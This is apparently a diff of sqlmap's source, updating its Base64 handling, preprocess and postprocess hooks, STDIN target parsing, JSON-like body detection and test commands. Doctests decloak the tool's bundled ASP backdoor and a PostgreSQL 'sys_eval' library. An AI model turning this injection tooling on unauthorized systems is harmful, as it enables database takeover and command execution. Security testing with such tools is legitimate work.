True
>>> os.remove(_)
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
True
>>> os.remove(_)
>>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
>>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
True
>>> os.remove(_)
"""
content = decloak(filename)
@@ -4996,6 +5051,12 @@ def getRequestHeader(request, name):
Solving an issue with an urllib2 Request header case sensitivity
# Reference: http://bugs.python.org/issue2275
>>> _ = lambda _: _
>>> _.headers = {"FOO": "BAR"}
>>> _.header_items = lambda: _.headers.items()
>>> getText(getRequestHeader(_, "foo"))
'BAR'
"""
retVal = None
@@ -5093,6 +5154,13 @@ def pollProcess(process, suppress_errors=False):
def parseRequestFile(reqFile, checkParams=True):
"""
Parses WebScarab and Burp logs and adds results to the target URL list
>>> handle, reqFile = tempfile.mkstemp(suffix=".req")
>>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n"
>>> _ = os.write(handle, content)
>>> os.close(handle)
>>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com')))
True
"""
def _parseWebScarabLog(content):
@@ -5235,7 +5303,7 @@ def parseRequestFile(reqFile, checkParams=True):
params = True
# Avoid proxy and connection type related headers
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH):
headers.append((getUnicode(key), getUnicode(value)))
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
+38 -6
View File
@@ -48,16 +48,16 @@ def base64pickle(value):
retVal = None
try:
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL))
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
except:
warnMsg = "problem occurred while serializing "
warnMsg += "instance of a type '%s'" % type(value)
singleTimeWarnMessage(warnMsg)
try:
retVal = encodeBase64(pickle.dumps(value))
retVal = encodeBase64(pickle.dumps(value), binary=False)
except:
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL))
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
return retVal
@@ -198,6 +198,8 @@ def decodeBase64(value, binary=True, encoding=None):
True
>>> decodeBase64("MTIz", binary=False)
'123'
>>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE")
True
>>> decodeBase64(b"MTIzNA") == b"1234"
True
>>> decodeBase64("MTIzNA") == b"1234"
@@ -206,12 +208,22 @@ def decodeBase64(value, binary=True, encoding=None):
True
"""
if value is None:
return None
padding = b'=' if isinstance(value, bytes) else '='
# Reference: https://stackoverflow.com/a/49459036
if not value.endswith(padding):
value += 3 * padding
# Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
# Reference: https://perldoc.perl.org/MIME/Base64.html
if isinstance(value, bytes):
value = value.replace(b'-', b'+').replace(b'_', b'/')
else:
value = value.replace('-', '+').replace('_', '/')
retVal = base64.b64decode(value)
if not binary:
@@ -219,16 +231,23 @@ def decodeBase64(value, binary=True, encoding=None):
return retVal
def encodeBase64(value, binary=True, encoding=None):
def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
"""
Returns a decoded representation of provided Base64 value
>>> encodeBase64(b"123") == b"MTIz"
True
>>> encodeBase64(u"123", binary=False)
'MTIz'
>>> encodeBase64(u"1234", binary=False)
'MTIzNA=='
>>> encodeBase64(u"1234", binary=False, padding=False)
'MTIzNA'
>>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True)
'A-B_CDE'
"""
if value is None:
return None
if isinstance(value, six.text_type):
value = value.encode(encoding or UNICODE_ENCODING)
@@ -237,6 +256,19 @@ def encodeBase64(value, binary=True, encoding=None):
if not binary:
retVal = getText(retVal, encoding)
if safe:
padding = False
# Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
# Reference: https://perldoc.perl.org/MIME/Base64.html
if isinstance(retVal, bytes):
retVal = retVal.replace(b'+', b'-').replace(b'/', b'_')
else:
retVal = retVal.replace('+', '-').replace('/', '_')
if not padding:
retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=')
return retVal
def getBytes(value, encoding=None, errors="strict", unsafe=True):
+10 -7
View File
@@ -39,16 +39,19 @@ def cachedmethod(f):
@functools.wraps(f)
def _f(*args, **kwargs):
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
try:
with _cache_lock:
result = _cache[f][key]
except KeyError:
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
result = f(*args, **kwargs)
else:
try:
with _cache_lock:
result = _cache[f][key]
except KeyError:
result = f(*args, **kwargs)
with _cache_lock:
_cache[f][key] = result
with _cache_lock:
_cache[f][key] = result
return result
+1 -1
View File
@@ -241,7 +241,7 @@ class Dump(object):
lines = "-" * (int(maxlength) + 2)
for db, tables in dbTables.items():
tables.sort()
tables = sorted(filter(None, tables))
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
+2 -1
View File
@@ -177,7 +177,7 @@ class HASH(object):
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z'
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z'
@@ -239,6 +239,7 @@ class HTTP_HEADER(object):
EXPIRES = "Expires"
HOST = "Host"
IF_MODIFIED_SINCE = "If-Modified-Since"
IF_NONE_MATCH = "If-None-Match"
LAST_MODIFIED = "Last-Modified"
LOCATION = "Location"
PRAGMA = "Pragma"
+142 -23
View File
@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
from __future__ import division
import codecs
import collections
import functools
import glob
import inspect
@@ -412,6 +413,37 @@ def _doSearch():
else:
conf.googlePage += 1
def _setStdinPipeTargets():
if isinstance(conf.stdinPipe, collections.Iterable):
infoMsg = "using 'STDIN' for parsing targets list"
logger.info(infoMsg)
class _(object):
def __init__(self):
self.__rest = OrderedSet()
def __iter__(self):
return self
def __next__(self):
return self.next()
def next(self):
line = next(conf.stdinPipe)
if line:
match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
if match:
return (match.group(0), conf.method, conf.data, conf.cookie, None)
elif self.__rest:
return self.__rest.pop()
raise StopIteration()
def add(self, elem):
self.__rest.add(elem)
kb.targets = _()
def _setBulkMultipleTargets():
if not conf.bulkFile:
return
@@ -431,7 +463,7 @@ def _setBulkMultipleTargets():
if conf.scope and not re.search(conf.scope, line, re.I):
continue
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line or conf.data:
found = True
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
@@ -825,7 +857,7 @@ def _setTamperingFunctions():
def _setPreprocessFunctions():
"""
Loads preprocess functions from given script(s)
Loads preprocess function(s) from given script(s)
"""
if conf.preprocess:
@@ -870,17 +902,95 @@ def _setPreprocessFunctions():
raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
for name, function in inspect.getmembers(module, inspect.isfunction):
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
try:
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)):
found = True
kb.preprocessFunctions.append(function)
function.__name__ = module.__name__
break
except ValueError: # Note: https://github.com/sqlmapproject/sqlmap/issues/4357
pass
if not found:
errMsg = "missing function 'preprocess(req)' "
errMsg += "in preprocess script '%s'" % script
raise SqlmapGenericException(errMsg)
else:
try:
function(_urllib.request.Request("http://localhost"))
except:
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
os.close(handle)
openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n")
openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
errMsg = "function 'preprocess(req)' "
errMsg += "in preprocess script '%s' " % script
errMsg += "appears to be invalid "
errMsg += "(Note: find template script at '%s')" % filename
raise SqlmapGenericException(errMsg)
def _setPostprocessFunctions():
"""
Loads postprocess function(s) from given script(s)
"""
if conf.postprocess:
for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess):
found = False
function = None
script = safeFilepathEncode(script.strip())
try:
if not script:
continue
if not os.path.exists(script):
errMsg = "postprocess script '%s' does not exist" % script
raise SqlmapFilePathException(errMsg)
elif not script.endswith(".py"):
errMsg = "postprocess script '%s' should have an extension '.py'" % script
raise SqlmapSyntaxException(errMsg)
except UnicodeDecodeError:
errMsg = "invalid character provided in option '--postprocess'"
raise SqlmapSyntaxException(errMsg)
dirname, filename = os.path.split(script)
dirname = os.path.abspath(dirname)
infoMsg = "loading postprocess module '%s'" % filename[:-3]
logger.info(infoMsg)
if not os.path.exists(os.path.join(dirname, "__init__.py")):
errMsg = "make sure that there is an empty file '__init__.py' "
errMsg += "inside of postprocess scripts directory '%s'" % dirname
raise SqlmapGenericException(errMsg)
if dirname not in sys.path:
sys.path.insert(0, dirname)
try:
module = __import__(safeFilepathEncode(filename[:-3]))
except Exception as ex:
raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
for name, function in inspect.getmembers(module, inspect.isfunction):
if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
found = True
kb.preprocessFunctions.append(function)
kb.postprocessFunctions.append(function)
function.__name__ = module.__name__
break
if not found:
errMsg = "missing function 'preprocess(page, headers=None, code=None)' "
errMsg += "in preprocess script '%s'" % script
errMsg = "missing function 'postprocess(page, headers=None, code=None)' "
errMsg += "in postprocess script '%s'" % script
raise SqlmapGenericException(errMsg)
else:
try:
@@ -889,11 +999,11 @@ def _setPreprocessFunctions():
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
os.close(handle)
open(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(page, headers=None, code=None):\n return page, headers, code\n")
open(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n")
openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
errMsg = "function 'preprocess(page, headers=None, code=None)' "
errMsg += "in preprocess script '%s' " % script
errMsg = "function 'postprocess(page, headers=None, code=None)' "
errMsg += "in postprocess script '%s' " % script
errMsg += "should return a tuple '(page, headers, code)' "
errMsg += "(Note: find template script at '%s')" % filename
raise SqlmapGenericException(errMsg)
@@ -982,7 +1092,7 @@ def _setHTTPHandlers():
"""
with kb.locks.handlers:
if conf.proxyList is not None:
if conf.proxyList:
conf.proxy = conf.proxyList[0]
conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1]
@@ -1450,8 +1560,8 @@ def _createHomeDirectories():
if conf.get("purge"):
return
for context in "output", "history":
directory = paths["SQLMAP_%s_PATH" % context.upper()]
for context in ("output", "history"):
directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363
try:
if not os.path.isdir(directory):
os.makedirs(directory)
@@ -1553,7 +1663,8 @@ def _cleanupOptions():
for key, value in conf.items():
if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")):
conf[key] = safeExpandUser(value)
if isinstance(value, str):
conf[key] = safeExpandUser(value)
if conf.testParameter:
conf.testParameter = urldecode(conf.testParameter)
@@ -1580,7 +1691,7 @@ def _cleanupOptions():
if conf.base64Parameter:
conf.base64Parameter = urldecode(conf.base64Parameter)
conf.base64Parameter = conf.base64Parameter.replace(" ", "")
conf.base64Parameter = conf.base64Parameter.strip()
conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter)
else:
conf.base64Parameter = []
@@ -1762,6 +1873,8 @@ def _cleanupOptions():
if not regex:
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
else:
conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude)
if conf.binaryFields:
conf.binaryFields = conf.binaryFields.replace(" ", "")
@@ -1856,6 +1969,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.arch = None
kb.authHeader = None
kb.bannerFp = AttribDict()
kb.base64Originals = {}
kb.binaryField = False
kb.browserVerification = None
@@ -1944,12 +2058,12 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.identifiedWafs = set()
kb.injection = InjectionDict()
kb.injections = []
kb.jsonAggMode = False
kb.laggingChecked = False
kb.lastParserStatus = None
kb.lastCtrlCTime = None
kb.locks = AttribDict()
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"):
kb.locks[_] = threading.Lock()
kb.matchRatio = None
@@ -1957,6 +2071,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.mergeCookies = None
kb.multipleCtrlC = False
kb.negativeLogic = False
kb.nchar = True
kb.nullConnection = None
kb.oldMsf = None
kb.orderByColumns = None
@@ -1999,7 +2114,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.responseTimeMode = None
kb.responseTimePayload = None
kb.resumeValues = True
kb.rowXmlMode = False
kb.safeCharEncode = False
kb.safeReq = AttribDict()
kb.secondReq = None
@@ -2008,10 +2122,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.skipSeqMatcher = False
kb.smokeMode = False
kb.reduceTests = None
kb.tlsSNI = {}
kb.sslSuccess = False
kb.stickyDBMS = False
kb.storeHashesChoice = None
kb.suppressResumeInfo = False
kb.tableExistsChoice = None
kb.tableFrom = None
kb.technique = None
kb.tempDir = None
@@ -2021,7 +2136,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.testType = None
kb.threadContinue = True
kb.threadException = False
kb.tableExistsChoice = None
kb.tlsSNI = {}
kb.uChar = NULL
kb.udfFail = False
kb.unionDuplicates = False
@@ -2034,8 +2149,10 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.checkSitemap = None
kb.headerPaths = {}
kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
kb.lastCtrlCTime = None
kb.normalizeCrawlingChoice = None
kb.passwordMgr = None
kb.postprocessFunctions = []
kb.preprocessFunctions = []
kb.skipVulnHost = None
kb.storeCrawlingChoice = None
@@ -2062,11 +2179,11 @@ def _useWizardInterface():
message = "Please enter full target URL (-u): "
conf.url = readInput(message, default=None)
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
conf.data = readInput(message, default=None)
if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url):
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). "
if not conf.crawlDepth and not conf.forms:
warnMsg += "Will search for forms"
@@ -2682,6 +2799,7 @@ def init():
_listTamperingFunctions()
_setTamperingFunctions()
_setPreprocessFunctions()
_setPostprocessFunctions()
_setTrafficOutputFP()
_setupHTTPCollector()
_setHttpChunked()
@@ -2689,7 +2807,7 @@ def init():
parseTargetDirect()
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)):
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
_setHostname()
_setHTTPTimeout()
_setHTTPExtraHeaders()
@@ -2703,6 +2821,7 @@ def init():
_setSocketPreConnect()
_setSafeVisit()
_doSearch()
_setStdinPipeTargets()
_setBulkMultipleTargets()
_checkTor()
_setCrawler()
+4
View File
@@ -27,6 +27,7 @@ optDict = {
"paramDel": "string",
"cookie": "string",
"cookieDel": "string",
"liveCookies": "string",
"loadCookies": "string",
"dropSetCookie": "boolean",
"agent": "string",
@@ -203,6 +204,7 @@ optDict = {
"answers": "string",
"batch": "boolean",
"base64Parameter": "string",
"base64Safe": "boolean",
"binaryFields": "string",
"charset": "string",
"checkInternet": "boolean",
@@ -221,10 +223,12 @@ optDict = {
"hexConvert": "boolean",
"outputDir": "string",
"parseErrors": "boolean",
"postprocess": "string",
"preprocess": "string",
"repair": "boolean",
"saveConfig": "string",
"scope": "string",
"skipHeuristics": "boolean",
"skipWaf": "boolean",
"testFilter": "string",
"testSkip": "string",
+10
View File
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
"""
import codecs
import os
import random
import lib.controller.checks
@@ -76,6 +77,15 @@ def dirtyPatches():
# to prevent too much "guessing" in case of binary data retrieval
thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
# https://github.com/sqlmapproject/sqlmap/issues/4314
try:
os.urandom(1)
except NotImplemented:
if six.PY3:
os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size))
else:
os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
def resolveCrossReferences():
"""
Place for cross-reference resolution
+6 -2
View File
@@ -18,7 +18,7 @@ from lib.core.enums import OS
from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.4.7.0"
VERSION = "1.4.12.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -52,6 +52,9 @@ IPS_WAF_CHECK_RATIO = 0.5
# Timeout used in heuristic check for WAF/IPS protected targets
IPS_WAF_CHECK_TIMEOUT = 10
# Timeout used in checking for existence of live-cookies file
LIVE_COOKIES_TIMEOUT = 120
# Lower and upper values for match ratio in case of stable page
LOWER_RATIO_BOUND = 0.02
UPPER_RATIO_BOUND = 0.98
@@ -66,6 +69,7 @@ PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
URI_QUESTION_MARKER = "__QUESTION_MARK__"
ASTERISK_MARKER = "__ASTERISK_MARK__"
REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64_MARK__"
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
SAFE_VARIABLE_MARKER = "__SAFE__"
SAFE_HEX_MARKER = "__SAFE_HEX__"
@@ -817,7 +821,7 @@ XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
# Regular expression used for detecting JSON-like POST data
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z"
# Regular expression used for detecting multipart POST data
MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name="
+14 -15
View File
@@ -111,7 +111,7 @@ def _setRequestParams():
def process(match, repl):
retVal = match.group(0)
if not (conf.testParameter and match.group("name") not in [removePostHintPrefix(_) for _ in conf.testParameter]) and match.group("name") == match.group("name").strip('\\'):
if not (conf.testParameter and match.group("name") not in (removePostHintPrefix(_) for _ in conf.testParameter)) and match.group("name") == match.group("name").strip('\\'):
retVal = repl
while True:
_ = re.search(r"\\g<([^>]+)>", retVal)
@@ -120,7 +120,7 @@ def _setRequestParams():
else:
break
if kb.customInjectionMark in retVal:
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name")))
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name").strip('"\'') if kb.postHint == POST_HINT.JSON_LIKE else match.group("name")))
return retVal
@@ -145,6 +145,7 @@ def _setRequestParams():
if choice == 'Q':
raise SqlmapUserQuitException
elif choice == 'Y':
kb.postHint = POST_HINT.JSON
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
@@ -159,8 +160,6 @@ def _setRequestParams():
_ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
kb.postHint = POST_HINT.JSON
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
message = "JSON-like data found in %s body. " % conf.method
message += "Do you want to process it? [Y/n/q] "
@@ -169,13 +168,16 @@ def _setRequestParams():
if choice == 'Q':
raise SqlmapUserQuitException
elif choice == 'Y':
kb.postHint = POST_HINT.JSON_LIKE
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
kb.postHint = POST_HINT.JSON_LIKE
if '"' in conf.data:
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'((?P<name>"[^"]+"|\w+)\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data)
else:
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
conf.data = re.sub(r"((?P<name>'[^']+'|\w+)\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
message = "Array-like data found in %s body. " % conf.method
@@ -185,12 +187,11 @@ def _setRequestParams():
if choice == 'Q':
raise SqlmapUserQuitException
elif choice == 'Y':
kb.postHint = POST_HINT.ARRAY_LIKE
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
kb.postHint = POST_HINT.ARRAY_LIKE
elif re.search(XML_RECOGNITION_REGEX, conf.data):
message = "SOAP/XML data found in %s body. " % conf.method
message += "Do you want to process it? [Y/n/q] "
@@ -199,13 +200,12 @@ def _setRequestParams():
if choice == 'Q':
raise SqlmapUserQuitException
elif choice == 'Y':
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
message = "Multipart-like data found in %s body. " % conf.method
message += "Do you want to process it? [Y/n/q] "
@@ -214,13 +214,12 @@ def _setRequestParams():
if choice == 'Q':
raise SqlmapUserQuitException
elif choice == 'Y':
kb.postHint = POST_HINT.MULTIPART
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
kb.postHint = POST_HINT.MULTIPART
if not kb.postHint:
if kb.customInjectionMark in conf.data: # later processed
pass
@@ -401,7 +400,7 @@ def _setRequestParams():
raise SqlmapGenericException(errMsg)
if conf.csrfToken:
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
errMsg += "found in provided GET, POST, Cookie or header values"
raise SqlmapGenericException(errMsg)
+12 -1
View File
@@ -44,10 +44,14 @@ def vulnTest():
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
("-u '<url>&id2=1' -p id2 -v 5 --flush-session --level=5 --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'", ("~1AND",)),
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
("<piped> -r <request> -l <log> --flush-session --banner --technique=B", ("banner: '3.", "STDIN")),
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --banner --technique=B", ("banner: '3.",)),
("-u <base64> -p id --base64=id --data='base64=true' --flush-session --tables --technique=U", (" users ",)),
("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
